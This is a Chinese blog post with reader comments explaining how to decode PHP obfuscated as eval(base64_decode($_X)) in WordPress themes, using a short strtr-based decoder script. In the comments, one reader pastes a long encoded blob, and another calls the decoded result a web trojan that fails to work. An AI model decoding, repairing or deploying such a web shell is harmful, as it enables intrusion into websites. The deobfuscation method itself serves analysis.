您可能会在WordPress主题，或者其他代码中遇到采用以下加密方式的文件.
<?php $_F=__FILE__;$_X='加密文本';eval(base64_decode('加密文本')); ?>
解密方式:
1.将下面代码保存成decode.php文件
<?php
$contents="加密内容";
$contents=base64_decode($contents);
$contents="<textarea rows=\"6\" cols=\"25\">".strtr($contents,"123456aouie","aouie123456")."</textarea>";echo$contents;?>
2. 将$contents内容替换成$_X中的内容
3.运行
您也可以下载我已经写好的文件,点击此处下载.
用了你的淫淫插件，不错，加个友链把，哈哈哈～
博主，兔年快乐！
还是没整明白，能帮我破解一下么？谢谢
请提供加密文本
我解了一晚上不行。解出来还是乱码。
搞了半天还是没有搞好啊，楼主你尽量说的在详细点，谢谢
~Dkr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLT09NHeEXHr8XhtONT08XHeEXHr8Pkr8XTzEXT08XHtILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYzamcCGyp6HerZHzW1YjF4KUSvNUFSk0ytW0OyOLfwUApRTr1KT1nOAlYAaacbBylDCBkjcoaMc2ipDMsSdB5vFuyZF3O1fmf4GbPXHTwzYeA2YzI5hZ8mhULpK2cjdo9zcUILTzEXHr8XTzEXhTslfMyShtONTzEXTzEXTzEpKX==tJyMfB5jfolvdl9lGolzfuHPk0y2d2lLO2y0DoaZkZLIkJclGol0htfokZL7tmaVF2a0htOtUapgaakHOrwpKXppcJiLCbOlhtkcdBWJhT4ZHeE5HeIZHtl7tm0hkrkkBl9aALxrWlsfwe0Jcma5CB5mRMYvdUw7tMlMhtOtUapkOtCMkrkkBl9aALxrWJl7tMajDo8IkzxscbOiwoi0fuEscby1DbC9wLYvdmOldmWsaulXcUwIC29VfoaVfe0Jfoa4ft9Pfo1SKZnjDoyZF2a0NBfJHjHxHJw+kzShcBYPdZEmxKK1xHqDZhikOHquKjxJFj4mKXplC2ivwo1LYUIJkrkkBl9aALxrWlSXbUwpKXplGol0KXp9tJOSDBclb21vFMA9HeSLWLlDb01NOyaHOAOtB109k2cldMxlDUF7krkkBl9YT0OaTrarWlsfNUfSDBclkzSLWLlDb01NOyaHOAOtB109k2YvfbnvdJF7krkkBl9YT0OaTrarWlsfNUfmDBc0kzSLWLlDb01NOyaHOAOtB109k2iZkzSLWLlDb01NOyaHOAOtB109k3YPd3EmKZOtUapgTA9raAxyOrkdbT0mfoFmKZOtUapgTA9raAxyOrkdbT0mHMYvfbnvdJF7krkkBl9YT0OaTrarWlsfNUFZc2lMftF7krkkBl9YT0OaTrarWlsfNUFZDuwmKZOtUapgTA9raAxyOrkdbT0mHmYPd3EmKZOtUapgTA9raAxyOrkdbT0mHmOmkzSLWLlDb01NOyaHOAOtB109kzkzDo9XfoFmKZOtUapgTA9raAxyOrkdbT0mHMivfbYlkzShkrlTb0kkBlnPFer2Ke0xKXPLUaYgWLlDNTr7tLkkBl9aALxgW0SPkrkkBl9aALxrWJL7tMc1dMY0DB9VwrkkBl9aALxgW0SPkrkkBl9aALxrWJl7tMfSd2kidtELcowSky9TOakBOawSkriAayngA0aUaLaUb1cnAlHSkynwAy9TOAxob1OyTaE7tMlMhtEiDbYgCbkZCbLPkrkkBl9aALxrWJLIhWp7tMOpcUIJZsqwQYNWzvHxwUwpKXpZcbO1FM4IKXp9tJOtUapgaakHOrkdbT0mHTw3RjEVHt4xkzShkrkkBl9aALxrWlsfNUFxKTwVHTC4RJF7tJOtUapgaakHOrkdbT0mdo9jCBxPd3Y0kzShkynwAy9TOAxob1OyTaE9ky9TOakBOakdk1nwAy9TOAxok10INZOgA0aUaLaUBZfWUyngA0aHOJffwePIky9TOakBOakdk1YeALlWay9KWA1yk107tJOWUyngA0aHOj0Lb1YyAlcyAlSmALaOaAaTay9aALLmbT8Lb1YyAlcyAlSmALaOaAaTay9aALLmbTPLAriWb1YyTrcgaraYAeShkriAayngUr9Tae0Lb1YyAlcyAlSmUyOAAy9wT1YAk10/ky9TOakBOakdk0iAayngUr9TatffKJOwayOWb1YyAlcyAl9BWakTBZfwayOWb0iNA1WmbTShkyfyWlaUTe0LUyOAAy9wT1YARJOWUyngA0aHOjShDBCPwUObOAkaALXpGXPLCBxSd3f1F2A9HTShgBaSF2a7tMcvFMaiC2IPwtOtUapgaakHOrwIWaHIkoslGT0+kucidualhbShkucidualNbY0Fl9ZcbnSCBYlhtkFFJwSkZFSkucidualhTShkucidualNbY0Fl9ZcbnSCBYlhtkFdJwSkZFSkucidualhTShDBCPcbklc2LPwl5dRBrsGjEsKa9FRl0QkucidualwJXLa0ataakHhUl7tJOidoxvf3azcT0xKXp9tm0hgWppcJIikoySdo93fbYlhbShcollhtRh2SJP09eK8zwiwJL7tm0hFMa0fbkVwer7tm0hcmaVC3Opd24IUA5oT19eUZIpGXp9tMc1dMY0DB9Vwr1NOyaHOa9eUZILfulXcUl7tMfSd2kidtELFuklRtOtUapgTA9raAxyOrw7tMlMhtEiDbYgCbkZCbLPkrkkBl9YT0OaTrarWJLIhWp7tMOpcUIJZsqwQRh7sKdA2jHiwJL7tmklfuaZdJE7tm0hDBCPwtypdl9iFmkiGUILfulXcUXLWLlDb01NOyaHOAOthUEpGXpLDBAPwSqDZhjT0H7zYtrJhTShgWpZcbO1FM4IHTShgWppcJI1NT04hbShkokpdMyZGa9LCbOiwe0IcmklCBWPkuppFtXzHtL7tJOLCbOiwe0IfB5XCBYqhtf2C2iqR3cpct92fMaZF2lvdJ92cMxicZ92C29sFuklF3Ypd24vfM10DB1lR3cscoy0cU9BC3kjR1cjd21XFMazF2aLb3YpGMAvamYpGMAvfMcpdoaVCB1lb2xldJ92cbi0FMygdoaVkZXLCMlVCbk5b2OiforpKXPLDoaicoaZBZfMDBxldMyscUffwe0IcmklCBWPkuppFtXLcoy0CaSmcMlScB5idBagdoaVk10pKXppcJEPkoOifoydk2a4fukib2xldJffwtr9weEpwuShkoilCBOlFlSmcbi0FMrmbUE9wocZcByLhtO6DbESkoOifoydk2a4fukib2xldJffhTShgBaSF2AIGZOPcByLcbkdk2a4fukik10INUEmkzs9tJOPcByLcbkdk2YvdbnZcbYzDB9Vk10INUELcoy0CaSmC29sFuklF3Ypd24mbTSLDoaicoaZBZfzDbplk10INUELcoy0CaSmF2l6cUffKXPLDoaicoaZBZfjd21XFMazF2aLb3YpGMAmbUE9wtOLCbOiBZfjd21XFMazF2aLb3YpGMAmbTShkoilCBOlFlSmC3kjk10INUELcoy0CaSmC3kjk107koilCBOlFlSmcMxicZffwe0IkoOifoydk2cSCBFmbTShkoilCBOlFlSmdBOifoAmbUE9wtOLCbOiBZfscoy0cUffKZOPcByLcbkdk210DB1lk10INUELcoy0CaSmdbOpdBAmbTShDBCIhtOPcByLcbkdk21LCbOlk10IkJCLDoaicoaZBZfsfolscUffhbShkoivfbw9htOPcByLcbkdk210DB1lk10MHuioKeEXhT4+HTr7ko1pdma0cT0PkoilCBOlFlSmdbOpdBAmbUCXGeE3OTEpNj41KXPLF2ajd25LcT0PkoilCBOlFlSmdbOpdBAmbUCXGeEXHACphjw7kullCbw9htILDoaicoaZBZfscoy0cUffkjn4OLAXHtL+NjLphzr5KeE7tJOsd250De0PkoilCBOlFlSmdBOifoAmbUCXGeExOTEpNj41KZOLCbL9koilCBOlFlSmdBOifoAmbUCXGeEXHAC7tJOPcByLcbkdk210DB1lk10INUnsD3OpdBAPkoivfbwSko1pdma0cUXLF2ajd25LcUXLdB9VfoISkoOiGUXLGBaiFJL7tm1lduYlGZOPcByLcbkdk210DB1lk10INUn0DB1lhtL7gWPLDoaicoaZBZfzfo9ZcBOgcMlScB5idBAmbUE9wtOPcByLcbkdk2cpdoaVCB1lk107tJOPcByLcbkdk3Y0CbO1FZffwe0IwM9qwjShgWppcJI5NT0zhbShkokpdMyZGa9LCbOiwe0IcmklCBWPkuppFtX0YJL7tJOPcByLcbwINUn1dmniC2SPk3cjDospct92DBWvfmclFmYpd24vfmclFmYpd25gcbi0FMyjfoaLR3cMdoymR3cjd21XFMazF2lvdJ92dbOpdBAvfM1LCbOlR1cjFMHvaMYvdbnZcbYzcBOgF2l6cU9BF2l6cU92cMlScB5idBagdoaVR3clGuOZCa9ScB4vfMYvdB1ldmOgdoaVR3cLDbYqR3cpdmOlFM5idt9Bcbi0cbkVCBXvaM9McmYlftFSkokpdMyZGa9LCbOihTShDBCIhtOPcByLcbkdk2cpdoaVCB1lb2xldJffwtr9weEptJOPcByLcbkdk2cpdoaVCB1lk10INUnMFMaictILGMlXRtOPcByLcbkdk2cpdoaVCB1lb2xldJffhTShcBxzcUELDoaicoaZBZfMDBxldMyscUffwe0IkZF7tMlMwtILDoaicoaZBZflGuOZCa9ScB4mbUEiNUEXhWPLDoaicoaZBZflGuOZCUffwe0IcmklCBWPkuppFtXLDoaicoaZBZflGuOZCa9ScB4mbUL7tMaSF2AIkoilCBOlFlSmcbi0FMrmbUE9wtFmKXppcJEPkoilCBOlFlSmC29sdBaVfy9ScB4mbUEiNUEXhWPLDoaicoaZBZfjd21scB50k10INUnMFMaictILGMlXRtOPcByLcbkdk2YvdB1ldmOgdoaVk10pKXplduYlwtOPcByLcbkdk2YvdB1ldmWmbUE9wtFmKXppcJEPkoilCBOlFlSmdBOifoAmbUEMkJOPcByLcbkdk210DB1lk10ptmShkoivfbwINUEPkoilCBOlFlSmdbOpdBAmbUEMHuioKeEXhUE+NjrxKXPLdBlVfbOlwe0IhtOPcByLcbkdk210DB1lk10Ikjn4HefyHtLINj41KXPLF2ajd25LcUE9wtILDoaicoaZBZfsfolscUffwtCXGeEXHACphjw7tJO5cByZwe0IhtILDoaicoaZBZfscoy0cUffwtCXGrcyHeEpwe4+KULIhzr5KeE7tJOsd250DtE9wtILDoaicoaZBZfscoy0cUffwtCXGeExOTEpwe4+YTShkoOiGUE9wtOPcByLcbkdk21LCbOlk10Ikjn4HeExOjShkoilCBOlFlSmdbOpdBAmbUE9wo1qfolscUILDo91FJXLdBlVfbOlRtOzcBYvdMOlRtOsd250DtXLcoy5RtO5cByZhTShgBaSF2AIGXPLDoaicoaZBZfsfolscUffwe0IfolscUIpKXp9tJOPcByLcbkdk3Y0d3klcy9MDBxldMyscUffwe0IkoilCBOlFlSmcMlScB5idBAmbTShkoilCBOlFlSmF3Oifuazk10INUEmd2SmKXppcJEPF3aJF3OZhtOPcByLcbkdk2cpdoaVCB1lk10SRTrpwe09wtFvkZLhkoilCBOlFlSmcbi0cbkVCBXmbUE9wen4YeyoOjEXHTE7tm0hDBCPYT09YZl7tJOzDbplwe0IcMlScbYpGMAPkuppFy9VCB1lhTShDBCIhtOzDbplweXZYzFpwtOsCbipdbasb3YpGMAINUELF2l6cTShcBxzcUELdBy4DB11da9zDbplNTw3YzShWoczcBaqhtO6DbESkuYpGMAsko1iGolsfB1gF2l6cUL7tJOXd3HINUnMfoaSdtILGMlXhTSLCml0cbHINUEXGeEXHeEXHeEXKXp3DolScUEPkunvFZE8kuYpGMApGXPLCml0cUE9wrnMFMaictILGMlXRerpKZOJGbOlFz0Pkok5foazweX8KtLIgo9ZctILCml0cUL7tMlMwtILCml0cbHINT0IHuI1HeOJHeAXYJnvFJELCml0cbHINT0IHuIZcTFXYjI3HeAXYowXYTE2hbSLFo9zhZS7CmklCBS7gUOXd3HqhzShgWPLcMOifor9cmklCBWPkuppFtXxKtL7tJOLCbOiNAn1dmniC2SPk3cLDbYqR3cLDbYqb3Y0Cbk0R3cLDbYqb2aVfukpcbHvfMaVfukpcbHvamYpGMAvaM9McmYlft92C29sdBaVfy9zDbplkZXLcMOiforpKXppcJEPkoOifoydk2YvdB1ldmOgF2l6cUffwtr9weEpwtOjcB50cySmC29sdBaVftffwe0IcmklCBWPkuppFtXLcoy0CaSmC29sdBaVfy9zDbplk10pKXplduYlwtOjcB50cySmC29sdBaVftffwe0IkZF7koYldmOLBZfldmOZDBazk10INUELcoy0CaSmcB50FMllFZffKXPLC2aVfoOdk2OpF2sgcB50FMllFZffwe0IkoOifoydk2OpF2sgcB50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alVnRPIq
发不完整啊
老大我解了一夜，解出来的网马不能用啊，但是可以接触部分代码，是不是我的方法不对啊
还有你说的这点不太明白，（2. 将$contents内容替换成$_X中的内容）
一共有好几处$contents，到底替换那一处啊！
< ?php
$contents = "填写您的加密内容(即变量$_X内容)";
$contents = base64_decode($contents);
$contents = "